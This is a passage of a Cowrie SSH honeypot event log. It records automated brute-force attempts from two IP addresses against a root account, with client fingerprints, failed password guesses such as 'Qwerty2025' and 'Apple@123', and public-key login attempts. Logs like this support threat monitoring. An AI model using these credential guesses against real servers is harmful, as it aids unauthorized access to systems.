01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:23.198414Z","src_ip":"60.165.124.241","session":"02480d9aa8f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty2025","message":"login attempt [root/Qwerty2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:23.932884Z","src_ip":"60.165.124.241","session":"02480d9aa8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:25.173784Z","src_ip":"60.165.124.241","session":"02480d9aa8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"c64ae3ebf134","protocol":"ssh","message":"New connection: 60.165.124.241:51082 (10.17.0.5:22) [session: c64ae3ebf134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:25.405705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:25.413465Z","src_ip":"60.165.124.241","session":"c64ae3ebf134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:25.652002Z","src_ip":"60.165.124.241","session":"c64ae3ebf134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r%T","message":"login attempt [root/1q2w3e4r%T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:26.370437Z","src_ip":"60.165.124.241","session":"c64ae3ebf134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:27.609823Z","src_ip":"60.165.124.241","session":"c64ae3ebf134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53862,"dst_ip":"10.17.0.5","dst_port":22,"session":"734641e9afa7","protocol":"ssh","message":"New connection: 60.165.124.241:53862 (10.17.0.5:22) [session: 734641e9afa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:27.859886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:27.864877Z","src_ip":"60.165.124.241","session":"734641e9afa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:28.110411Z","src_ip":"60.165.124.241","session":"734641e9afa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wxyd@2020","message":"login attempt [root/Wxyd@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:28.857700Z","src_ip":"60.165.124.241","session":"734641e9afa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:30.108101Z","src_ip":"60.165.124.241","session":"734641e9afa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56868,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0b5bdfeec8e","protocol":"ssh","message":"New connection: 60.165.124.241:56868 (10.17.0.5:22) [session: d0b5bdfeec8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:30.335013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:30.340133Z","src_ip":"60.165.124.241","session":"d0b5bdfeec8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:30.581743Z","src_ip":"60.165.124.241","session":"d0b5bdfeec8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jt123456","message":"login attempt [root/Jt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:31.301136Z","src_ip":"60.165.124.241","session":"d0b5bdfeec8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:32.542355Z","src_ip":"60.165.124.241","session":"d0b5bdfeec8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60098,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1154308afa0","protocol":"ssh","message":"New connection: 60.165.124.241:60098 (10.17.0.5:22) [session: b1154308afa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:32.773420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:32.777466Z","src_ip":"60.165.124.241","session":"b1154308afa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:33.013388Z","src_ip":"60.165.124.241","session":"b1154308afa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple@123","message":"login attempt [root/Apple@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:33.728306Z","src_ip":"60.165.124.241","session":"b1154308afa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":60056,"dst_ip":"10.17.0.5","dst_port":22,"session":"32c9ef2ecfb6","protocol":"ssh","message":"New connection: 78.111.67.246:60056 (10.17.0.5:22) [session: 32c9ef2ecfb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:33.733301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:33.737216Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:33.835264Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:46:af:85:3d:f2:79:b1:40:e9:6c:74:9d:cf:85:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwEM7Ff3BgbkcLb/2n7GGnvRQRZQVBVzz1u4x49UTGhr2IdY/ObbTf0AZYx73mzGt16FqP/dQBa3QVWSpV6P3a0rwsl0rbBt/KQn5qpoV/QIHBa+tiSF+RrIpkFyMewaX1JmZE+JC/CCiUxwKRvz3jhSYEuWZeEeEItZIq4BJSF5R8u4wisBBYi6cCHj5CLlOP+eLGOadAD9W0azAt59kgGPZq7UBR6UkzhtQZwLvSVyD7pz3uz/VzLgWteqFKQFKCAclKMwSCTzWsyYftQbPR349mw5UP8gr9L5ZMghpwk8nkeHPsAplPpUc1jfOID5D+qBw4gDGCKjBt1dLjlUb/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:46:af:85:3d:f2:79:b1:40:e9:6c:74:9d:cf:85:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.292967Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:46:af:85:3d:f2:79:b1:40:e9:6c:74:9d:cf:85:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwEM7Ff3BgbkcLb/2n7GGnvRQRZQVBVzz1u4x49UTGhr2IdY/ObbTf0AZYx73mzGt16FqP/dQBa3QVWSpV6P3a0rwsl0rbBt/KQn5qpoV/QIHBa+tiSF+RrIpkFyMewaX1JmZE+JC/CCiUxwKRvz3jhSYEuWZeEeEItZIq4BJSF5R8u4wisBBYi6cCHj5CLlOP+eLGOadAD9W0azAt59kgGPZq7UBR6UkzhtQZwLvSVyD7pz3uz/VzLgWteqFKQFKCAclKMwSCTzWsyYftQbPR349mw5UP8gr9L5ZMghpwk8nkeHPsAplPpUc1jfOID5D+qBw4gDGCKjBt1dLjlUb/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.296784Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:1f:b6:96:21:4b:17:22:75:84:a7:8d:01:d2:5c:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPZImqowFmn3gyI8mQI4quqHrhcwSabmUtY++6TM2dS3ZSrG6Z5j2VCBUVRdHaps4HdmZhfdOITgXiV6XdSLp2tpBl7dTSfFgkKxIR8bKjvsCy9GTK+vJLlF/VyqOg+XW+C+breAMO41dlSddfahtmiqyIU05aAUf+yLPpi3ytzY3pu4+HsMtWmm49yTONCKLdcATk7Kj7O9jbNn5ZqZ8VEhoBBk28+dAHXls1Se+MqtLWJmpqH38qhrnj9kKlcAVpVfPktExv/zduGGTrraFbDVMssVbzzdH5G2fU8MSRHKQ+IQaudb7OyrieAL3NoXAiege3tI/X1KQRPv6C4kjxJD1OPSjs7BWFRO6BtSOtmi0WX7Bts8zmpe/xddSy57r7t0E7oYBSh7JewKkzTPd4zIYKKQtAfRTQyGMqvr+s3SqHzJ0keH9RlHP4t2YQwUDTcNgwrzOCZmxuetWvjdJRWSNK7yBB2bl27z8QKhcwtW4WJcl3yOcbiXo0pQ894JetbtBwHEv/LFtvYcUavW6k1eYAmGz+oWFcIkN6/uC+fpqiTbI0gRIIPk2MvygjbD1a7RhLirRGvKCas8Gx9L+snXTfHGpOWJuN9jo8E8GXqdppkTCStD20V7RTap5t7r0bLjfdcjzFjzffRgj0QX+bIeZWytnVGufIPbuKKH/48Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:1f:b6:96:21:4b:17:22:75:84:a7:8d:01:d2:5c:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.395712Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:1f:b6:96:21:4b:17:22:75:84:a7:8d:01:d2:5c:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPZImqowFmn3gyI8mQI4quqHrhcwSabmUtY++6TM2dS3ZSrG6Z5j2VCBUVRdHaps4HdmZhfdOITgXiV6XdSLp2tpBl7dTSfFgkKxIR8bKjvsCy9GTK+vJLlF/VyqOg+XW+C+breAMO41dlSddfahtmiqyIU05aAUf+yLPpi3ytzY3pu4+HsMtWmm49yTONCKLdcATk7Kj7O9jbNn5ZqZ8VEhoBBk28+dAHXls1Se+MqtLWJmpqH38qhrnj9kKlcAVpVfPktExv/zduGGTrraFbDVMssVbzzdH5G2fU8MSRHKQ+IQaudb7OyrieAL3NoXAiege3tI/X1KQRPv6C4kjxJD1OPSjs7BWFRO6BtSOtmi0WX7Bts8zmpe/xddSy57r7t0E7oYBSh7JewKkzTPd4zIYKKQtAfRTQyGMqvr+s3SqHzJ0keH9RlHP4t2YQwUDTcNgwrzOCZmxuetWvjdJRWSNK7yBB2bl27z8QKhcwtW4WJcl3yOcbiXo0pQ894JetbtBwHEv/LFtvYcUavW6k1eYAmGz+oWFcIkN6/uC+fpqiTbI0gRIIPk2MvygjbD1a7RhLirRGvKCas8Gx9L+snXTfHGpOWJuN9jo8E8GXqdppkTCStD20V7RTap5t7r0bLjfdcjzFjzffRgj0QX+bIeZWytnVGufIPbuKKH/48Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.399681Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:6a:f7:24:46:c8:43:0c:6e:bb:2b:9d:10:38:46:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvS3MLdKaP2husqJopV+OvLlu8AH+Usa7BFsG5HOGapjof3tfTatfQK8lqaerln29dVsJFtte4koppYTpZJAIXU835NeHQ9Mhi/ZFKkKr8LAbvkMwdWujO52aE4Ixz/U2ZBpD0rjYNWRBXG3zCHhY/fFFIPLnisob7UJNcqxmXMU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:6a:f7:24:46:c8:43:0c:6e:bb:2b:9d:10:38:46:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.497439Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:6a:f7:24:46:c8:43:0c:6e:bb:2b:9d:10:38:46:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvS3MLdKaP2husqJopV+OvLlu8AH+Usa7BFsG5HOGapjof3tfTatfQK8lqaerln29dVsJFtte4koppYTpZJAIXU835NeHQ9Mhi/ZFKkKr8LAbvkMwdWujO52aE4Ixz/U2ZBpD0rjYNWRBXG3zCHhY/fFFIPLnisob7UJNcqxmXMU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.501329Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:fb:1c:59:5c:13:a6:09:d0:23:6f:69:30:b6:0e:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx49r0zXIZhflG84nfasPB08Ae7rDEp6c2n4iG3bKRHvtturvVN53EacIfuvt/wYt5yWGXQbzwcdC4cNKlSwRP/l7zdOmLmArur9zlx4vr7qGtpvOJqJHDlcNkkbnOamVILtgEe9g/x2e+pGRqHNNE8VRbWKOoBxUudd0y3lsipR/QIUEP/D4vcvVpWB3/JLBHjmlnQhwc/106A6a21/tUXfV3i8xr0p8dax+GGA86X23+ZTOXdKUEqej3Sl0QywLXt+ugnCZPlcQ7O2FdG1KMiotDmfgbGtqWnC28DraO8V+nibL0gLM3Tu+IV+G0dYJUJ1+cIhKIsr5EVAVA3aqm6n9LeDNIwHOrCCyMP3YEywQpOFK1Vy8fTyoN2e5gVkaSuNFg0k9v6QmfadPU29HRnNBDrPcLj9/H5fcE4GXJPAy8SYE/J5kTyMXCn2pGmXf/KhJPRtfg0ZFOXw/7HDbnedt1RxaiJqpEtdNatt2RhBbk3PNvSMb/QOCzicGRSXiRhkgGOUhlMyTnlxOwJ8NWvzYX/3oArpRb7utdHKI2DZBKL7+R2gajZCrwF9Cq6xEYwcG7u7XHgHHmuPwhR2H4eOoJcgFnnOeY9uirW8VfF/75tenBzuG52IleqrYmP2HZXi1J4Vwy2xLm/kSFjdiRq1Q1r6u9wmp8m7CuEkjPMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:fb:1c:59:5c:13:a6:09:d0:23:6f:69:30:b6:0e:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:07:34.598106Z","src_ip":"78.111.67.246","session":"32c9ef2ecfb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:fb:1c:59:5c:13:a6:09:d0:23:6f:69:30:b6:0e:ac","key":"ssh-rsa 